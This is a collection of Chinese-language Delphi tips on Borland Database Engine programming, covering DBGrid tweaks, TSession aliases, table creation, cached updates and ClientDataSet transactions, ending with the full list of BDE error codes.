//Over。大功告成，发个飞吻！！！！！！:-)

//可惜这儿的速度太慢，不经常来。要不........


去掉DbGrid的自动添加功能
移动到最后一条记录时再按一下“下”就会追加一条记录，如果去掉这项功能

procedure TForm1.DataSource1Change(Sender: TObject; Field: TField);

begin

if TDataSource(Sender).DataSet.Eof then TDataSource(Sender).DataSet.Cancel;

end;


DBImage的问题
image字段读取JPEG图片以后,才打开就看不到了

DBImage1.Picture.LoadFromFile('haha.jpg');

//必须加上这个才看到，给分吧！

DBImage1.CopyToClipboard;

DBImage1.PasteFromClipboard;


TSession控件
TSession是全局性的部件，在应用程序运行时，它自动地建立，在设计阶段和运行过程中它是一个不可见的部件.

TSession部件主要有下列属性：

Database属性：是TSession中可以进行连接的所有数据库的数据库名字列表，这些数据库的名字常常是实际数据库的别名，包括数据库的路径、用户名、用户登录口令等参数。

DatabaseCount属性：是TSession中可以进行连接的所有数据库的数量，它是一个整数。

KeepCounnections属性：是一个布尔型属性，用它说明应用程序是否保持与一个非活动数据库的连接。因为对于一个数据库，当该数据库中没有相应的数据集部件(TTable或TQuery)被打开时，该数据库将自动地变成非活动的数据库。缺省情况下，KeePcounnections的值是True，就是说应用程序总是保持着与数据库的连接，即使数据库变成了非活动的数据库时，也是如此。如果将KeepConnections属性设置成False，那么当数据库由活动状态变成非活动状态时，应用程序与该数据库的连接也随之中断。

NetFileDir属性：说明BDE网络控制文件的路径名。

PrivateDir属性：说明存取临时文件的路径名。

TSession部件的方法：

TSession部件中的大部分方法是用于向用户提供与应用程序相连接的数据库的信息，如数据库的名字及别名，数据库中的表名以及数据库引擎BDE的有关参数等，在设计数据库应用程序时，想要获取有关数据库的信息，调用TSession部件的下列方法，将会大大简化程序的设计。

GetAliasNames方法：调用该方法，我们可以获得数据库引擎BDE中定义的数据库别名。

GetAliasParams方法：该方法主要用于获取我们在BDE中定义数据库别名时所说明的参数值，如BDE所在的目录路径以及实际名称等。

GetDatabaseNames 方法：调用该方法可以帮助我们获得当前应用程序可以进行连接的所有数据库的名字，数据库的名字是用户使用BDE工具定义的实际数据库的别名。

GetDriverNames方法：数据库引擎BDE可以与多种数据库管理系统相连接，如客户/服务器数据库管理系统Oracle、Sybase以及本地数据库管理系统dBASE,Paradox等，BDE与每一种数据库管理系统进行连接时，都有相应的驱动程序，而且这些驱动程序都可以选择地安装。通过调用GetDriverNames方法。我们可以获得当前BDE安装的数据库驱动程序的名字。

GetDriverParams方法：BDE的数据库驱动程序中包含着多个参数，如支持的民族语言、DBMS的版本号、文件块大小等，对于服务器上的DBMS，还有数据库服务器的名字等等。

GetTableNames方法：因为每一个数据库都是由多个数据库表组成的，我们通过说明数据库名，然后调用GetTableNames方法，便可以获得该数据库中全部的数据库表的名字。

上述这些方法在调用时都需要一个字符串列表作为参数，而且都返回一个字符串列表的值。

TSession部件还有一个叫DropConnections的方法用于控制应用程序与数据库的连接，当调用DropConnections方法时，应用程序与所有的数据库的连接将会切断。


布尔字段显示问题
在DBGRID中，对于boolean类型的字段，如果是TRUE则以打钩的形式在DBGRID中显示，如果是false则不显示，请问如何实现？？

在对应的Table或Query中采用字段编辑器，然后将DisplayValues属性设为√即可，至于√从那里来，启动Word，插入字符，找到√，然后粘贴到DELPHI中即可！


字段顺序
InsertRecord中的字段顺序应该与Field

Editor中的顺序一致才行。这一点，好象书上和联机帮助上都没有提到过。

这一点，对AppendRecord也同样。


无法再次ApplyUpdates
我来了

用ClientDataSet的时候，当ApplyUpdates成功，可由于其他表的错误导致事务回滚后，无法再次ApplyUpdates

Example:

Database1.StrartTransaction;

try

ClientDataSet1.ApplyUpdates(0); //这句成功

ClientDataSet2.ApplyUpdates(1); //这句出错

Database1.Commit;

except

Database1.Rollback;

end;

这时候ClientDataSet1的数据就无法再次ApplyUpdates了

***********************[red]解决方案[/red]*****************************

用下面这个控件吧，新加AS_ApplyUpdates和CommitUpdates

Database1.StrartTransaction;

try

ClientDataSet1.AS_ApplyUpdates(0); //这句成功

ClientDataSet2.AS_ApplyUpdates(1); //这句出错

Database1.Commit;

except

Database1.Rollback;

raise

end;

ClientDataSet1.CommitUpdates;

ClientDataSet2.CommitUpdates;

现在可以了，只要不CommitUpdates永远可以AS_ApplyUpdates

______________________________Source________________________________________

unit CClientDataSet;

interface

uses Classes, Variants, SysUtils, DB, DBClient;

type

TCClientDataSet = class(TClientDataSet)

private

FDeltaErrors: OleVariant;

public

function AS_ApplyUpdates(MaxErrors: Integer = 0): Integer;

procedure CommitUpdates;

end;

implementation

{ TCClientDataSet }

function TCClientDataSet.AS_ApplyUpdates(MaxErrors: Integer = 0): Integer;

var

OwnerData: OleVariant;

begin

CheckBrowseMode;

if ChangeCount = 0 then

begin

Result := 0;

FDeltaErrors := Null;

end

else begin

if Assigned(BeforeApplyUpdates) then BeforeApplyUpdates(Self, OwnerData);

FDeltaErrors := AppServer.AS_ApplyUpdates(ProviderName, Delta, MaxErrors, Result, OwnerData);

if Assigned(AfterApplyUpdates) then AfterApplyUpdates(Self, OwnerData);

end;

end;

procedure TCClientDataSet.CommitUpdates;

begin

if VarIsEmpty(FDeltaErrors) then Exit;

Reconcile(FDeltaErrors);

end;

end.


数据库别名
我们知道，使用BDE的时候，发布程序一个很麻烦的问题就是需要配置别名，这是一个很烦人的问题，有没有办法绕过别名呢？

有：

使用TTable的时候，我们可以选择一个已经有别名的数据库，其实已可以不要别名，直接使用数据库！因为数据库实际上是一个目录！所以，我们只要在TTable的DataBaseName属性中输入目录名即可！这样就不需要配置别名了！


取得 BDE 所有别名列表
GetAliaNames就可以搞定


检测、建立数据库别名和表格
procedure SetAlias; { 设置当前数据的别名(PARADOX) }

var

MyList: TStringList;

begin

MyList := TStringList.Create;

try

with MyList do

begin

Add('PATH=你的数据库的路径');

Add('ENABLE BCD=FALSE');

end;

Session.AddAlias('你的数据库别名', 'PARADOX', MyList);

finally

MyList.Free;

end;

end; { SetAlias }

其他数据库的一样

*******************************

检测、建立数据库别名和表格

宋体 　　对于BDE会话期对象来说，BDE别名特别重要，许多方法都需要传递一个数据库的别名作为参数。Tsession提供了管理BDE别名的功能。

    但是作者往往等到要发布程序时才发现，你的程序由于找不到别名而无法运行，必须在一台已经装了BDE管理程序的机上才能用，你一定非常失望。不要紧，只要在程序中加入以下语句，你的程序就又可以执行。

    AddAlias用于为Paradox、dBase或文本创建别名，不需要连接参数，只需指定一个路径和默认的驱动程序。

    AddStandardAlias函数则需要传递三个参数，Name参数用于指定名称，Driver参数用于指定SQL Links驱动程序，List参数用于指定连接参数。

procedure TForm1.FormCreate(Sender: Tobject);

begin

with Session do

begin

ConfigMode := cmSession;

try

AddStandardAlias('WorkMen', ExtractFilePath(ParamStr(0)), 'PARADOX');

finally

ConfigMode := cmAll;

end;

end;

end;

    上面的是单机版的创建别名方法，还有创建SQL服务器别名的方法

procedure TForm1.FormCreate(Sender: Tobject);

var MyList: TStringList;

begin

MyList := TStringList.Create;

try

with MyList do

begin

Add('SERVER NAME=IB_SERVER:/PATH/DATABASE.GDB');

Add('USER NAME=MYNAME');

end;

Session1.AddAlias('WorkMen', 'INTRBASE', MyList);

finally

MyList.Free;

end;

end;

    要说明的是，调用AddStandardAlias或AddAlias函数创建的别名只存在于内存中，程序关闭后就没有了，要把别名永远的保存到BDE配置文件中，请调用SaveConfigFile函数来保存到设置文件中。

/////////////////////////////////

---- 一、 数 据 库 别 名(Alias) 的 定 义 和 检 测 方 法

---- 当Type 为STANDARD 时, 别 名 定 义 最 为 简 单， 这 时 仅 能 采 用PARADOX, DBASE,ASCIIDRV 三 种 数 据 库 作 为 缺 省 的 驱 动 程 序(DEFAULT DRIVER)。

---- 另 外， 还 要 定 义 数 据 库 存 放 路 径(PATH) 和ENABLE BCD， 才 能 建 立 一 个 完 整 的 数 据 库 别 名。

---- Delphi 的 数 据 库 应 用 程 序 能 自 动 提 供 一 个Session 组 件， 这 个 Session 组 件 即 为 应 用 程 序 与BDE 的 接 口。

---- 1. 检 测 别 名

---- 通 过 调 用Session.GetAliasNames(list:Tstrings) 方 法， 可 将 当 前BDE 配 置 中 的 所 有 数 据 库 别 名 的 名 称 存 放 到List 字 符 串 列 表 中。 list.IndexOf(' 需 要 检 测 的 别 名') 的 值 会 告 诉 我 们 这 个 别 名 是 否 存 在 ( 其 值 为-1 时 不 存 在）。

---- 2. 增 加 一 个 新 的 别 名

---- Session 组 件 的 过 程AddStandardAlias(const Name, Path, DefaultDriver: string), 可 以 增 加 一 个 标 准 类 型 的 数 据 库 别 名。 例 如 增 加 一 个 名 为Cntssamp， 缺 省 数 据 库 驱 动 程 序 为PARADOX、 存 放 路 径 为c:的 别 名：

---- Session.AddStandardAlias('Cntssamp','c:','Paradox');

---- 3.BDE 配 置 文 件 存 盘

---- Session.SaveConfigFile;

---- 二、 数 据 库 中 表 格 的 定 义 和 检 测 方 法

---- 数 据 库 中 表 格 的 定 义、 维 护 和 使 用， 只 有 在 数 据 库 别 名 正 确 设 置 的 情 况 下 才 有 意 义。 以TTable 组 件 为 例， 必 须 设 置 其DatabaseName 为 一 个 实 际 存 在 的 别 名。

---- 1. 检 测 表 格 是 否 存 在

---- 通 过 调 用Session.GetTableNames(const DatabaseName,

---- Pattern: string; Extensions,SystemTables: Boolean; List:

---- TStrings) 方 法， 可 将 当 前 指 定 数 据 库 别 名 中 所 有 表 格 的 名 称 存 放 到 List 字 符 串 列 表 中。list.IndexOf(' 需 要 检 测 的 表 格 名') 的 值 会 告 诉 我 们 这 个 表 格 是 否 存 在( 其 值 为-1 时 不 存 在）。

---- 2. 建 立 一 个 表 格

---- 第 一 步， 设 置TTable 组 件 的DataBase Name( 别 名)、TableName ( 表 格 名)、TableType( 数 据 库 类 型);

---- 第 二 步， 调 用Table.FieldDefs.Add(const Name: string;

---- DataType: TFieldType; Size: Word; Required: Boolean) 增 加 表 格的 各 个 字 段， 其 中Name 为 字 段 名，DataType 为 字 段 类 型（ 常 用 的 有 ftInteger,ftString,ftDate,ftBoolean 等）,Size 为 字 段 长 度， Required 为 该 字 段 是 否 允 许 有 空 值。

---- 第 三 步， 调 用Table.IndexDefs.Add(const Name, Fields: string; Options: TIndexOptions) 方 法 增 加 表 格 的 索 引 文 件， 其 中 Name 为 索 引 文 件 名，Fields 为 索 引 字 段，options 为 索 引 参 数 的 集 合， 常 用 的 索 引 参 数 有ixPrimary( 主 键）、 ixDescending( 降 序)、 ixUnique( 具 有 唯 一 值） 等。

---- 第 四 步， 调 用Table.CreateTable 建 立 表 格。

---- 三、 一 个 实 例

---- 在Form1.Formcreate 事 件 中 写 入 如 下 代 码， 程 序 启 动 时， 将 自 动 检 测 是 否 存 在 数 据 库 别 名Cntssamp， 如 果 没 有 则 建 立 之； 自 动 检 测 别 名Cntssamp 中 是 否 存 在 表 格TSK( 图 书 库)， 如 果 没 有 则 自 动 建 立 表 格TSK。

procedure TForm1.FormCreate(Sender: TObject);

var

ap:TStringList; {字符串列表变量}

answer:Integer;

begin

ap:=TStringlist.Create;

Session.GetAliasNames(ap); {取得别名列表}

if (ap.IndexOf('Cntssamp')=-1) then {判断别名是否存在}

begin

answer:=Application.MessageBox(

'别名Cntssamp不存在，

现在创建吗？','BDE信息窗口',mb_OKCancel);

{增加一个名为Cngzsamp的数据库别名}

if answer=IDCANCEL then begin

ap.Free;

Exit;

end;

Session.AddStandardAlias

('Cntssamp','c:','Paradox');

Session.SaveConfigFile; {BDE配置文件存盘}

end ;

ap.Clear; {取得别名Cngzsamp中的所有表格名称列表}

Session.GetTableNames

('Cntssamp','',False,False,ap);

if (ap.IndexOf('TSK')=

-1) then {判断表格是否存在}

begin

answer:=Application.MessageBox(

'别名Cntssamp中不存在

表格TSK,现在创建吗？','表格信息窗口

',mb_OKCancel);

if answer=IDCANCEL then begin

ap.Free;

Exit;

end;

with table1 do begin

Active:=false;

DatabaseName:='Cntssamp'; {数据库别名}

TableName:='TSK'; {表格名}

TableType:=ttParadox; {数据库类型}

with FieldDefs do begin {增加字段}

Clear;

Add('SH',ftString,30,False); {书号 String(30)}

Add('SM',ftString,30,False); {书名 String(30)}

Add('CBS',ftString,20,False); {出版社 String(20)}

Add('CBRQ',ftDate,0,False); {出版日期 Date}

Add('YS',ftInteger,0,False); {页数 Integer}

end;

with IndexDefs do begin {增加索引}

Clear; {按书号字段建立主索引}

Add('SHSY','SH',[ixPrimary,ixUnique]);

end;

CreateTable; {创建表格}

end;

end ;

ap.free; {释放变量ap}

end;


如何是InterBase运行更快
因为InterBase对于每一个更新，InterBase都会更新屏幕窗口的显示，因此如果你使用GotoKey或者lookups的时候，断开数据控件的连接速度就会很快！例如：

dbLookupList1.Enabled := false;

dbGrid1.DataSource := nil;

dbLookupList1.Enabled := false;

with table1 do

begin

setkey;

fields[0].AsString := edit1.text;

DisableControls;

GotoKey;

EnableControls;

end;

dbLookupList1.Enabled := true;

dbgrid1.DataSource := DataSource1;

LockWindowUpdate(0);


BDE的支持库文件
一、不可缺少的文件

Blw32.dll：语言驱动函数库。

Idapi32.dll：BDE基本函数库。

Fareast.bll、Usa.bll：远东语言及美国语言驱动程序，对中文软件不可缺少。

Idr20009.dll：错误信息库。

二、数据库驱动程序（根据需要选择一个或多个）

Idasci32.dll：Ascii文本数据库驱动程序函数库，如果不用Ascii文本数据库，可以不要。

Iddao32.dll：Access数据库驱动程序函数库，如果不用Access数据库，可以不要。

Iddbas32.dll：dBase数据库驱动程序函数库，如果不用dBase数据库，可以不要。

Idodbc32.dll：ODBC数据库驱动程序函数库，如果不用ODBC数据库，可以不要。

Idpdx32.dll：Paradox数据库驱动程序函数库，如果不用Paradox数据库，可以不要。

三、其它驱动程序和配置文件（根据需要选择一个或多个）

Idbat32.dll：批操作驱动程序函数库，如果不用TBatchMove控件或DbiBatchMove类函数，可以不要。

Iddr32.dll：Data Repository驱动程序函数库，如果不用Data Repository功能，可以不要。

Idprov32.dll：BDE DataSet provide驱动程序函数库，如果不用TProvider控件，可以不要。

Idqbe32.dll：QBE驱动程序函数库，如果不用Query By Example，可以不要。

Idsql32.dll：SQL查询驱动程序函数库，如果不用TQuery进行查询，可以不要。

Idapi32.cfg：BDE配置文件，如果程序中没有特殊要求，可以不要。也可以在BDE管理器中设置正确后再分发。

四、其它文件（一般不用）

BDE32.HLP、BDE32.CNT：BDE帮助文件，可以不要。

BdeAdmin.exe、BdeAdmin.HLP、BdeAdmin.CNT：BDE管理器及帮助文件，如果不会发生要求软件用户自己配置BDE的情况时，可以不要。

其它*.BLL：其它国家和地区的语言驱动程序，可以不要。

DataBump.EXE、DataBump.HLP、DataBump.CNT：数据库数据转移工具及帮助文件，可以不要。

Localsql.HLP、Localsql.CNT：SQL查询语句帮助文件，可以不要。

Sqllnk32.HLP、Sqllnk32.CNT：SQL连接帮助文件，可以不要。

当然在5.0中，bantam.dll、charset.cvb亦不可少，fareast.bll成为fareast.btl，usa.btl可以不要。而数据库连接库就根据你的要求加减了！

//---------------------------------------------------------------------------


Alias所指向的数据库的目录
如何知道Alias所指向的数据库的目录？

下面这段程序, 可以查出某一个 Alias 的目录,不妨可以参考看看:

// Delphi 1.0 取得 Alias 的实际路径

// uses DB, DBTables, DBConsts, DbiTypes, DbiProcs, DbiErrs;

function GetAliasPath(const sAliasName: string): string;

var

szName: array[0..100] of char;

Desc: DBDesc;

wResult: DBIResult;

begin

Result := '';

StrPLCopy(szName, sAliasName, High(szName));

wResult := DbiGetDatabaseDesc(szName, @Desc);

if wResult = DBIERR_NONE then

Result := StrPas(Desc.szPhyName);

end;


备份数据库
备份数据库

procedure QuickCopyTable(T: TTable; DestTblName: string; Overwrite: Boolean);

var

DBType: DBINAME;

WasOpen: Boolean;

NumCopied: Word;

begin

//save table active state

WasOpen := T.Active;

if not WasOpen then T.Open; //ensure the table is open

//Get driver type string

Check(DbiGetProp(hDBIObj(T.Handle), drvDRIVERTYPE, @DBType, SizeOf(DBINAME), NumCopied));

//Copy the table

Check(DBICopyTable(T.DBHandle, Overwrite, PChar(T.Tablename),

DBType, PChar(DestTblName)));

//Restore active state

T.Active := WasOpen;

end;


获得BDE的系统信息
获得BDE的系统信息

uses dbierrs, dbiprocs, dbitypes;

{$R *.DFM}

procedure LogDbiSysInfo(const LogFile: string);

var

Info: SYSInfo;

begin

DbiGetSysInfo(Info);

with TStringList.Create do

try

Clear;

Add(Format('BUFFER SPACE: %d', [Info.iBufferSpace]));

Add(Format('HEAP SPACE: %d', [Info.iHeapSpace]));

Add(Format('DRIVERS: %d', [Info.iDrivers]));

Add(Format('CLIENTS: %d', [Info.iClients]));

Add(Format('SESSIONS: %d', [Info.iSessions]));

Add(Format('DATABASES: %d', [Info.iDatabases]));

Add(Format('CURSORS: %d', [Info.iCursors]));

SaveToFile('c:.txt');

finally

Free;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

table1.Open;

table2.open;

table3.Open;

LogDbiSysInfo('c:.txt');

end;

end.


new item
复制一个一模一样的空数据表：

uses DB, DBTables, StdCtrls;

procedure TForm1.Button1Click(Sender: TObject);

var

tSource, TDest: TTable;

begin

TSource := TTable.create(self);

with TSource do begin

DatabaseName := 'dbdemos';

TableName := 'customer.db';

open;

end;

TDest := TTable.create(self);

with TDest do begin

DatabaseName := 'dbdemos';

TableName := 'MyNewTbl.db';

FieldDefs.Assign(TSource.FieldDefs);

IndexDefs.Assign(TSource.IndexDefs);

CreateTable;

end;

TSource.close;

end;


事务和缓冲处理
事务和缓冲处理

宋体 ---- 与缓冲机制有关的属性和方法如下，只有在缓冲机制下，即CachedUpdates:=True时，以下属性和方法才有效：

---- CachedUpdates(属性)：为True时，打开缓冲机制。

---- UpdatesObject(属性)：可以放置一个TUpdateSql组件的SQL语句，并可自动执行，也可以由OnUpdateRecord事件处理程序调用。

---- UpdatesPending(属性)：缓存中数据是否改变，True：改变。

---- ApplyUpdates(方法)：将缓冲数据存盘。

---- CommitUpdates(方法)：与ApplyUpdates合作，紧跟之后，将缓冲数据存盘。

---- CancelUpdates(方法)：取消缓存中的所有更新。

---- RevertRecord(方法)：恢复当前记录的原有数据，取消数据更改。

---- UpdateRecord(方法)：将缓冲数据存盘。

---- UpdateStatus(函数)：返回记录的更新状态，共有四种状态，usUnmodified，usModified，usInserted，usDeleted，可供查询。

---- 了解缓冲机制的属性和方法后，用一个电话管理程序来说明。如图1(略)

---- 东西不多，一个TDBGrid，三个Button，四个CheckBox，一个Table和一个DataSource，一个Navigator。将Table.ChacedUpdates属性设置为True，加入三个字段，其中一个State字段是一个计算字段，字段值在DhbTable的OnCalcFields事件中定义，如下：

procedure TForm1.DhbTableCalcFields(DataSet: TDataSet);

begin

If DhbTable.UpdateStatus =usUnmodified Then

DhbTableState.Value:='原有记录';

//这两种访问字段的方式是等价的

If DhbTable.UpdateStatus =usModified Then

DhbTable.FieldByName('State').asString:='已修改记录';

If DhbTable.UpdateStatus =usInserted Then

DhbTable.FieldByName('State').asString:='新增记录';

If DhbTable.UpdateStatus =usDeleted Then

DhbTable.FieldbyName('State').asstring:='已删除记录';

end;

---- 这个在DhbTable中定义的计算字段表达了每个记录现有的状态，而如何在DBGrid中显示这些字段由四个CheckBox控制，它们共享了一个事件句柄，如下：

procedure TForm1.CheckBox1Click(Sender: TObject);

var UpdataTypes:TUpdateRecordTypes;

begin

UpdataTypes:=[];

If CheckBox1.Checked then

Include(UpdataTypes,rtUnModified);

If CheckBox2.Checked then

Include(UpdataTypes,rtModified);

If CheckBox3.Checked then

Include(UpdataTypes,rtInserted);

If CheckBox4.Checked then

Include(UpdataTypes,rtDeleted);

DhbTable.UpdateRecordTypes :=UpdataTypes;

end;

---- rtModified, rtInserted, rtDeleted, rtUnmodified这四个常量分别定义了缓冲状态下的四种显示状态。若四种都没有选择，默认状态是除了rtDeleted以外的三种状态集合。DhbTable根据其属性UpdateRecordType集合中的值自动显示相应的记录。

---- 三个按钮首先判断缓冲中是否有变化，若有，分别执行缓冲操作指令。OKButton是存盘，CancelAllButton是取消所有更新，RevertThisButton是恢复当前记录的改变(如果有变化)。代码如下：

procedure TForm1.OKButtonClick(Sender: TObject);

begin

If DhbTable.UpdatesPending then

DhbTable.ApplyUpdates;

DhbTable.CommitUpdates;

end;

procedure TForm1.CancelAllButtonClick

(Sender: TObject);

begin

If DhbTable.UpdatesPending then

DhbTable.CancelUpdates;

end;

procedure TForm1.RevertThisButtonClick

(Sender: TObject);

begin

If DhbTable.UpdatesPending then

DhbTable.RevertRecord;

end;

---- 然后，运行这个小程序，感觉一下缓冲的效果，先增加一批记录，修改一批记录，再删除几个记录，单击四个CheckBox，看一看不同选择下的显示方式，试着恢复删除或修改的记录，绝对错不了。

---- 要注意的是，在缓冲机制下，如果用POST，或Refresh或用：

Table.Close

Table.Open

---- 后，修改的数据并没有存入到数据库中，如果要存盘，必须使用：

Table.ApplyUpdates;

Table.CommitUpdates;

---- 这才是缓冲机制下存盘的正确方法。


强制保存数据到磁盘
可防止数据丢失

procedure TForm1.Table1AfterPost(DataSet: TDataSet);

begin

Table1.UpdateCursorPos;

DbiSaveChanges(Table1.handle);//或者table1.flushbuffer;

Table1.CursorPosChanged;

end;


BDE错误列表
This document lists all the errors that can be returned by the

BDE. This information is derived from IDAPI.H (C++) or BDE.INT

(C++ Builder and Delphi). You also wish to look at the

following document(s) for addition information on specific

errors:

15809 - Handling EDBEngineError Exceptions

16437 - BDE and Database Desktop Locking Protocol

Note: You can use DbiGetErrorString() to retrieve the error

string for any error.

System Related (Fatal Error)

8449 : $2101 : Cannot open a system file.

8450 : $2102 : I/O error on a system file.

8451 : $2103 : Data structure corruption.

8452 : $2104 : Cannot find Engine configuration file.

8453 : $2105 : Cannot write to Engine configuration file.

8454 : $2106 : Cannot initialize with different

configuration file.

8455 : $2107 : System has been illegally re-entered.

8456 : $2108 : Cannot locate IDAPI32 .DLL.

8457 : $2109 : Cannot load IDAPI32 .DLL.

8458 : $210A : Cannot load an IDAPI service library.

8459 : $210B : Cannot create or open temporary file.

8460 : $210C : Trying to load multiple IDAPIxx.DLL

8461 : $210D : Shared Memory Conflict

Object of Interest not Found

8705 : $2201 : At beginning of table.

8706 : $2202 : At end of table.

8707 : $2203 : Record moved because key value changed.

8708 : $2204 : Record/Key deleted.

8709 : $2205 : No current record.

8710 : $2206 : Could not find record.

8711 : $2207 : End of BLOB.

8712 : $2208 : Could not find object.

8713 : $2209 : Could not find family member.

8714 : $220A : BLOB file is missing.

8715 : $220B : Could not find language driver.

Physical Data Corruption

8961 : $2301 : Corrupt table/index header.

8962 : $2302 : Corrupt file - other than header.

8963 : $2303 : Corrupt Memo/BLOB file.

8965 : $2305 : Corrupt index.

8966 : $2306 : Corrupt lock file.

8967 : $2307 : Corrupt family file.

8968 : $2308 : Corrupt or missing .VAL file.

8969 : $2309 : Foreign index file format.

I/O related error

9217 : $2401 : Read failure.

9218 : $2402 : Write failure.

9219 : $2403 : Cannot access directory.

9220 : $2404 : File Delete operation failed.

9221 : $2405 : Cannot access file.

9222 : $2406 : Access to table disabled because of

previous error.

Resource or Limit error

9473 : $2501 : Insufficient memory for this operation.

9474 : $2502 : Not enough file handles.

9475 : $2503 : Insufficient disk space.

9476 : $2504 : Temporary table resource limit.

9477 : $2505 : Record size is too big for table.

9478 : $2506 : Too many open cursors.

9479 : $2507 : Table is full.

9480 : $2508 : Too many sessions from this workstation.

9481 : $2509 : Serial number limit (Paradox).

9482 : $250A : Some internal limit (see context).

9483 : $250B : Too many open tables.

9484 : $250C : Too many cursors per table.

9485 : $250D : Too many record locks on table.

9486 : $250E : Too many clients.

9487 : $250F : Too many indexes on table.

9488 : $2510 : Too many sessions.

9489 : $2511 : Too many open databases.

9490 : $2512 : Too many passwords.

9491 : $2513 : Too many active drivers.

9492 : $2514 : Too many fields in Table Create.

9493 : $2515 : Too many table locks.

9494 : $2516 : Too many open BLOBs.

9495 : $2517 : Lock file has grown too large.

9496 : $2518 : Too many open queries.

9498 : $251A : Too many BLOBs.

9499 : $251B : File name is too long for a Paradox version

5.0 table.

9500 : $251C : Row fetch limit exceeded.

9501 : $251D : Long name not allowed for this tablelevel.

9502 : $251E : Insufficient shared memory available.

Integrity Violation

9729 : $2601 : Key violation.

9730 : $2602 : Minimum validity check failed.

9731 : $2603 : Maximum validity check failed.

9732 : $2604 : Field value required.

9733 : $2605 : Master record missing.

9734 : $2606 : Master has detail records. Cannot delete or

modify.

9735 : $2607 : Master table level is incorrect.

9736 : $2608 : Field value out of lookup table range.

9737 : $2609 : Lookup Table Open operation failed.

9738 : $260A : Detail Table Open operation failed.

9739 : $260B : Master Table Open operation failed.

9740 : $260C : Field is blank.

9741 : $260D : Link to master table already defined.

9742 : $260E : Master table is open.

9743 : $260F : Detail table(s) exist.

9744 : $2610 : Master has detail records. Cannot empty it.

9745 : $2611 : Self referencing referential integrity must

be entered one at a time with no other

changes to the table

9746 : $2612 : Detail table is open.

9747 : $2613 : Cannot make this master a detail of another

table if its details are not empty.

9748 : $2614 : Referential integrity fields must be

indexed.

9749 : $2615 : A table linked by referential integrity

requires password to open.

9750 : $2616 : Field(s) linked to more than one master.

9751 : $2617 : Expression validity check failed.

Invalid Request

9985 : $2701 : Number is out of range.

9986 : $2702 : Invalid parameter.

9987 : $2703 : Invalid file name.

9988 : $2704 : File does not exist.

9989 : $2705 : Invalid option.

9990 : $2706 : Invalid handle to the function.

9991 : $2707 : Unknown table type.

9992 : $2708 : Cannot open file.

9993 : $2709 : Cannot redefine primary key.

9994 : $270A : Cannot change this RINTDesc.

9995 : $270B : Foreign and primary key do not match.

9996 : $270C : Invalid modify request.

9997 : $270D : Index does not exist.

9998 : $270E : Invalid offset into the BLOB.

9999 : $270F : Invalid descriptor number.

10000 : $2710 : Invalid field type.

10001 : $2711 : Invalid field descriptor.

10002 : $2712 : Invalid field transformation.

10003 : $2713 : Invalid record structure.

10004 : $2714 : Invalid descriptor.

10005 : $2715 : Invalid array of index descriptors.

10006 : $2716 : Invalid array of validity check descriptors.

10007 : $2717 : Invalid array of referential integrity

descriptors.

10008 : $2718 : Invalid ordering of tables during restructure.

10009 : $2719 : Name not unique in this context.

10010 : $271A : Index name required.

10011 : $271B : Invalid session handle.

10012 : $271C : invalid restructure operation.

10013 : $271D : Driver not known to system.

10014 : $271E : Unknown database.

10015 : $271F : Invalid password given.

10016 : $2720 : No callback function.

10017 : $2721 : Invalid callback buffer length.

10018 : $2722 : Invalid directory.

10019 : $2723 : Translate Error. Value out of bounds.

10020 : $2724 : Cannot set cursor of one table to another.

10021 : $2725 : Bookmarks do not match table.

10022 : $2726 : Invalid index/tag name.

10023 : $2727 : Invalid index descriptor.

10024 : $2728 : Table does not exist.

10025 : $2729 : Table has too many users.

10026 : $272A : Cannot evaluate Key or Key does not pass

filter condition.

10027 : $272B : Index already exists.

10028 : $272C : Index is open.

10029 : $272D : Invalid BLOB length.

10030 : $272E : Invalid BLOB handle in record buffer.

10031 : $272F : Table is open.

10032 : $2730 : Need to do (hard) restructure.

10033 : $2731 : Invalid mode.

10034 : $2732 : Cannot close index.

10035 : $2733 : Index is being used to order table.

10036 : $2734 : Unknown user name or password.

10037 : $2735 : Multi-level cascade is not supported.

10038 : $2736 : Invalid field name.

10039 : $2737 : Invalid table name.

10040 : $2738 : Invalid linked cursor expression.

10041 : $2739 : Name is reserved.

10042 : $273A : Invalid file extension.

10043 : $273B : Invalid language Driver.

10044 : $273C : Alias is not currently opened.

10045 : $273D : Incompatible record structures.

10046 : $273E : Name is reserved by DOS.

10047 : $273F : Destination must be indexed.

10048 : $2740 : Invalid index type

10049 : $2741 : Language Drivers of Table and Index do not

match

10050 : $2742 : Filter handle is invalid

10051 : $2743 : Invalid Filter

10052 : $2744 : Invalid table create request

10053 : $2745 : Invalid table delete request

10054 : $2746 : Invalid index create request

10055 : $2747 : Invalid index delete request

10056 : $2748 : Invalid table specified

10058 : $274A : Invalid Time.

10059 : $274B : Invalid Date.

10060 : $274C : Invalid Datetime

10061 : $274D : Tables in different directories

10062 : $274E : Mismatch in the number of arguments

10063 : $274F : Function not found in service library.

10064 : $2750 : Must use baseorder for this operation.

10065 : $2751 : Invalid procedure name

10066 : $2752 : The field map is invalid.

Locking/Contention related

10241 : $2801 : Record locked by another user.

10242 : $2802 : Unlock failed.

10243 : $2803 : Table is busy.

10244 : $2804 : Directory is busy.

10245 : $2805 : File is locked.

10246 : $2806 : Directory is locked.

10247 : $2807 : Record already locked by this session.

10248 : $2808 : Object not locked.

10249 : $2809 : Lock time out.

10250 : $280A : Key group is locked.

10251 : $280B : Table lock was lost.

10252 : $280C : Exclusive access was lost.

10253 : $280D : Table cannot be opened for exclusive use.

10254 : $280E : Conflicting record lock in this session.

10255 : $280F : A deadlock was detected.

10256 : $2810 : A user transaction is already in progress.

10257 : $2811 : No user transaction is currently in progress.

10258 : $2812 : Record lock failed.

10259 : $2813 : Couldn't perform the edit because another

user changed the record.

10260 : $2814 : Couldn't perform the edit because another

user deleted or moved the record.

Access Violation - Security related

10497 : $2901 : Insufficient field rights for operation.

10498 : $2902 : Insufficient table rights for operation.

Password required.

10499 : $2903 : Insufficient family rights for operation.

10500 : $2904 : This directory is read only.

10501 : $2905 : Database is read only.

10502 : $2906 : Trying to modify read-only field.

10503 : $2907 : Encrypted dBASE tables not supported.

10504 : $2908 : Insufficient SQL rights for operation.

Invalid context

10753 : $2A01 : Field is not a BLOB.

10754 : $2A02 : BLOB already opened.

10755 : $2A03 : BLOB not opened.

10756 : $2A04 : Operation not applicable.

10757 : $2A05 : Table is not indexed.

10758 : $2A06 : Engine not initialized.

10759 : $2A07 : Attempt to re-initialize Engine.

10760 : $2A08 : Attempt to mix objects from different

sessions.

10761 : $2A09 : Paradox driver not active.

10762 : $2A0A : Driver not loaded.

